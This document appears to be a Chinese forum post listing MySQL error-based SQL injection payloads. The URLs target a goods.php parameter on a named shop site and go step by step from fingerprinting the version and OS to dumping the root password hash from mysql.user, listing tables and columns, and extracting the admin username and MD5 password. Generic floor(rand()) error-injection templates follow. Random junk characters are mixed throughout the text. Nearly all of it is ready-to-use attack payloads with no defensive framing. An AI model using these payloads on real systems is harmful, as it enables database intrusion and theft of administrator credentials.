判断版本号
. ~1 m, y1 U! ~& ]2 v/ Dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. Y1 W. A0 Q U8 L9 v: B* [
+ P B) I3 S; T$ L判断系统( y2 g7 C% |! p% \- D9 D
' ~5 t d6 {& m8 _) o% C9 ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23) s, _5 S( Z* G% U1 ]' n' u
' T) t5 ~: o$ ~! S. L1 q' E+ B' d7 s5 C5 |/ D: C0 x, S& F$ ~
. N$ z' A+ w5 P; j3 m3 S) v当前 user()
6 u, E! N" {% y9 `6 I
! ]' R* z5 i1 q2 Xhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%235 {, E3 F; v$ P4 ^8 i* O- ~6 a7 ?9 X
8 @8 ^4 I5 i. K4 A& x) v- L% m' X8 V% s/ Y$ U/ A* j8 c
% e( j5 {6 ^% s& J' d
当前 database()7 a; Q: ~ S, B1 C$ w3 S8 J
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
/ h7 M9 g* d* H. F) D' S, ], N8 b; a4 P; `/ R m& t U: W: k
7 W' }- B; X* \; o" c# I1 N6 s
, h; _ ?, P" |- I6 {' @+ x. Q3 Z. A. b/ R& h
root hash
0 g2 Q) K; q& n& D# J' _2 c) \: g, C+ c/ h
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23! ?$ f2 G* b# ]
# ~0 H4 N9 s" b' z* M# a# E
@& @7 M8 N# i9 g: u% V- u- d0 _( n- T5 Q* t3 @+ s# Y
当前 数据库表名/ e: W9 k" w/ }6 h5 _ f6 P4 D. b) U
0 o9 ^1 u( S: x7 O- f; vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%233 }! U6 o5 G+ `5 E/ ~
' _/ r- f5 f5 U+ X0 \9 m) l& n% d4 ^, p: H, I& x3 d; @" u
. |' A, A6 L A# m
当前 数据库 user_name 字段8 [/ Y# {, o0 T2 A, ~1 b$ m
* v; J y9 |0 C) n" ~
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23' c$ V4 h3 V: a. E0 T6 w; t, l
: k( ^- F, K) ?- V7 n/ ^" v+ f
当前 数据库 字段 password4 a( R" e" v- l0 ^2 o3 z8 F
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23+ s: d( t) B# V" N( W
. |0 C( ^: O9 @- z5 O2 Q. d5 m$ P# s# ?+ }! G
+ k0 E* g. X4 M2 O
获得 admin passwd(md5)' e) \, p% i' N! v+ h0 y2 _
( I: o& m( G' b z7 y w
/ m# m7 M- V. I; P; z8 ?
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. ~, d. ]; A/ i a
0 n0 T( R g& h
报错注射
" g! h9 m- t$ H5 T' \SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)2 ]' s& H; W4 Z
4 w$ X4 N9 N( u3 F0 USELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
+ V( L/ ~5 c' k" Y. L. M
, j6 q6 j. E# `( X( |/ E- ?and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |